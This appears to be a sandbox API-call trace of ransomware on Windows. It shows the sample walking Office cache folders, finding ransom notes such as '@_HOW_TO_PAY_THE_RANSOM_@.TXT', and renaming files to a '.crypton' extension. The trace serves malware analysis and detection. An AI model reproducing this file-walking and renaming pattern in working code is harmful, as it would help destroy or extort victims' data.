MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x51ff00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 106 [0070.101] FindFirstFileA (in: lpFileName="C:\\\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfa2b92d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa7232d60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7232d60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3e000638, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0070.101] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfa2b92d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa7232d60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7232d60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3e000638, cFileName="..", cAlternateFileName="")) returned 1 [0070.101] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa7232d60, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa7232d60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7232d60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3e000638, cFileName="@_FILES_WERE_ENCRYPTED_@.TXT", cAlternateFileName="@_FILE~1.TXT")) returned 1 [0070.101] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa7232d60, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa7232d60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7258ec0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x54a678, dwReserved1=0x4ab240, cFileName="@_HOW_TO_DECRYPT_FILES_@.TXT", cAlternateFileName="@_HOW_~2.TXT")) returned 1 [0070.101] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa7232d60, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa7232d60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7232d60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x54a678, dwReserved1=0x4ab240, cFileName="@_HOW_TO_PAY_THE_RANSOM_@.TXT", cAlternateFileName="@_HOW_~1.TXT")) returned 1 [0070.101] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa623330, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x266a00, dwReserved0=0x54a678, dwReserved1=0x4ab240, cFileName="AccessMUI.msi", cAlternateFileName="ACCESS~1.MSI")) returned 1 [0070.101] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa5fe940, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x545, dwReserved0=0x54a678, dwReserved1=0x4ab240, cFileName="AccessMUI.xml", cAlternateFileName="ACCESS~1.XML")) returned 1 [0070.101] AreFileApisANSI () returned 1 [0070.101] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ab938, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 91 [0070.104] AreFileApisANSI () returned 1 [0070.104] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ab938, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 91 [0070.104] MoveFileExW (lpExistingFileName="C:\\\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml"), lpNewFileName="C:\\\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml.crypton" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml.crypton"), dwFlags=0x2) returned 1 [0070.105] AreFileApisANSI () returned 1 [0070.105] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x55ae28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 91 [0070.105] AreFileApisANSI () returned 1 [0070.105] GetFullPathNameW (in: lpFileName="C:\\\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml", nBufferLength=0x104, lpBuffer=0x4ab0f8, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml", lpFilePart=0x0) returned 0x59 [0070.105] GetLastError () returned 0x2 [0070.105] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3216e900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3216e900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa64a430, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1ab7e94, dwReserved0=0x300030, dwReserved1=0x460046, cFileName="AccLR.cab", cAlternateFileName="")) returned 1 [0070.105] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x11e8ef00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x11e8ef00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xfc0c60c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x91975, dwReserved0=0x300030, dwReserved1=0x460046, cFileName="branding.xml", cAlternateFileName="")) returned 1 [0070.105] AreFileApisANSI () returned 1 [0070.105] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ab938, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 90 [0070.417] AreFileApisANSI () returned 1 [0070.417] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ab938, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 90 [0070.417] MoveFileExW (lpExistingFileName="C:\\\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml"), lpNewFileName="C:\\\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml.crypton" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml.crypton"), dwFlags=0x2) returned 1 [0070.418] AreFileApisANSI () returned 1 [0070.418] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x55ae28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 90 [0070.418] AreFileApisANSI () returned 1 [0070.418] GetFullPathNameW (in: lpFileName="C:\\\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml", nBufferLength=0x104, lpBuffer=0x4ab0f8, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml", lpFilePart=0x0) returned 0x58 [0070.418] GetLastError () returned 0x2 [0070.418] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x11e8ef00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x11e8ef00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xfc0c60c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x91975, dwReserved0=0x300030, dwReserved1=0x460046, cFileName="branding.xml", cAlternateFileName="")) returned 0 [0070.418] FindClose (in: hFindFile=0x5497d0 | out: hFindFile=0x5497d0) returned 1 [0070.418] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa160f00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd4200, dwReserved0=0x0, dwReserved1=0x31000839, cFileName="AccessMUISet.msi", cAlternateFileName="ACCESS~1.MSI")) returned 1 [0070.418] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0x0, dwReserved1=0x31000839, cFileName="AccessMUISet.xml", cAlternateFileName="ACCESS~1.XML")) returned 1 [0070.418] AreFileApisANSI () returned 1 [0070.418] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ac2e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0070.420] AreFileApisANSI () returned 1 [0070.420] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ac2e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0070.420] MoveFileExW (lpExistingFileName="C:\\\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml"), lpNewFileName="C:\\\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml.crypton" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml.crypton"), dwFlags=0x2) returned 1 [0070.421] AreFileApisANSI () returned 1 [0070.421] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x55ae28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0070.421] AreFileApisANSI () returned 1 [0070.421] GetFullPathNameW (in: lpFileName="C:\\\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml", nBufferLength=0x104, lpBuffer=0x4abaa0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml", lpFilePart=0x0) returned 0x4f [0070.421] GetLastError () returned 0x2 [0070.421] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc111bb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa40, dwReserved0=0x300030, dwReserved1=0x460046, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0070.421] AreFileApisANSI () returned 1 [0070.421] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ac2e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0070.426] AreFileApisANSI () returned 1 [0070.426] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ac2e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0070.426] MoveFileExW (lpExistingFileName="C:\\\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml.crypton" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml.crypton"), dwFlags=0x2) returned 1 [0070.427] AreFileApisANSI () returned 1 [0070.427] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0070.427] AreFileApisANSI () returned 1 [0070.427] GetFullPathNameW (in: lpFileName="C:\\\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml", nBufferLength=0x104, lpBuffer=0x4abaa0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml", lpFilePart=0x0) returned 0x48 [0070.427] GetLastError () returned 0x2 [0070.427] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc111bb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa40, dwReserved0=0x300030, dwReserved1=0x460046, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0070.427] FindClose (in: hFindFile=0x549750 | out: hFindFile=0x549750) returned 1 [0070.427] FindNextFileA (in: hFindFile=0x549790, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfe09ced0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x18179b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18179b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="{91140000-0011-0000-1000-0000000FF1CE}-C", cAlternateFileName="{91140~1")) returned 1 [0070.427] AreFileApisANSI () returned 1 [0070.427] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x51ff00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 93 [0070.430] AreFileApisANSI () returned 1 [0070.430] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x51ff00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 94 [0070.431] AreFileApisANSI () returned 1 [0070.431] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x51ff00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 93 [0070.432] FindFirstFileA (in: lpFileName="C:\\\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfe09ced0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa7578ba0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7578ba0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000839, cFileName=".", cAlternateFileName="")) returned 0x549750 [0070.432] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfe09ced0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa7578ba0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7578ba0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000839, cFileName="..", cAlternateFileName="")) returned 1 [0070.432] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa7578ba0, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa7578ba0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7578ba0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x31000839, cFileName="@_FILES_WERE_ENCRYPTED_@.TXT", cAlternateFileName="@_FILE~1.TXT")) returned 1 [0070.432] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa7578ba0, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa7578ba0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7578ba0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x31000839, cFileName="@_HOW_TO_DECRYPT_FILES_@.TXT", cAlternateFileName="@_HOW_~2.TXT")) returned 1 [0070.432] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa7578ba0, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa7578ba0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7578ba0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x31000839, cFileName="@_HOW_TO_PAY_THE_RANSOM_@.TXT", cAlternateFileName="@_HOW_~1.TXT")) returned 1 [0070.432] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x34ae1a00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x34ae1a00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xfe0c2860, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1e6600, dwReserved0=0x0, dwReserved1=0x31000839, cFileName="Office32WW.msi", cAlternateFileName="OFFICE~1.MSI")) returned 1 [0070.432] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x940c2a00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x940c2a00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xfe09b760, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x31000839, cFileName="Office32WW.xml", cAlternateFileName="OFFICE~1.XML")) returned 1 [0070.432] AreFileApisANSI () returned 1 [0070.432] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ac2e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 79 [0070.437] AreFileApisANSI () returned 1 [0070.437] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ac2e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 79 [0070.437] MoveFileExW (lpExistingFileName="C:\\\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml"), lpNewFileName="C:\\\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml.crypton" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml.crypton"), dwFlags=0x2) returned 1 [0070.438] AreFileApisANSI () returned 1 [0070.438] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 79 [0070.438] AreFileApisANSI () returned 1 [0070.438] GetFullPathNameW (in: lpFileName="C:\\\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml", nBufferLength=0x104, lpBuffer=0x4abaa0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpFilePart=0x0) returned 0x4d [0070.438] GetLastError () returned 0x2 [0070.438] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf885a000, ftCreationTime.dwHighDateTime=0x1cac4d7, ftLastAccessTime.dwLowDateTime=0xf885a000, ftLastAccessTime.dwHighDateTime=0x1cac4d7, ftLastWriteTime.dwLowDateTime=0x17c42c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x300030, dwReserved1=0x460046, cFileName="ose.exe", cAlternateFileName="")) returned 1 [0070.438] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd900f00, ftCreationTime.dwHighDateTime=0x1cac15b, ftLastAccessTime.dwLowDateTime=0xbd900f00, ftLastAccessTime.dwHighDateTime=0x1cac15b, ftLastWriteTime.dwLowDateTime=0x16854390, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x709768, dwReserved0=0x300030, dwReserved1=0x460046, cFileName="osetup.dll", cAlternateFileName="")) returned 1 [0070.438] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x147e5b00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x147e5b00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xff654fc0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x228df5c, dwReserved0=0x300030, dwReserved1=0x460046, cFileName="OWOW32WW.cab", cAlternateFileName="")) returned 1 [0070.438] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe3a02e00, ftCreationTime.dwHighDateTime=0x1cac5f7, ftLastAccessTime.dwLowDateTime=0xe3a02e00, ftLastAccessTime.dwHighDateTime=0x1cac5f7, ftLastWriteTime.dwLowDateTime=0x17e0dbf0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x165510, dwReserved0=0x300030, dwReserved1=0x460046, cFileName="PidGenX.dll", cAlternateFileName="")) returned 1 [0070.438] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe06a9500, ftCreationTime.dwHighDateTime=0x1cac7e5, ftLastAccessTime.dwLowDateTime=0xe06a9500, ftLastAccessTime.dwHighDateTime=0x1cac7e5, ftLastWriteTime.dwLowDateTime=0x17c42c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a, dwReserved0=0x300030, dwReserved1=0x460046, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="PKEYCO~1.XRM")) returned 1 [0070.438] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbb2e2000, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbb2e2000, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x170fe40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x1a41c00, dwReserved0=0x300030, dwReserved1=0x460046, cFileName="ProPlusrWW.msi", cAlternateFileName="PROPLU~1.MSI")) returned 1 [0070.438] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x170fe40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x41d4, dwReserved0=0x300030, dwReserved1=0x460046, cFileName="ProPlusrWW.xml", cAlternateFileName="PROPLU~1.XML")) returned 1 [0070.438] AreFileApisANSI () returned 1 [0070.438] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ac2e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 79 [0070.452] AreFileApisANSI () returned 1 [0070.452] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ac2e0, cbMultiByte=-1, 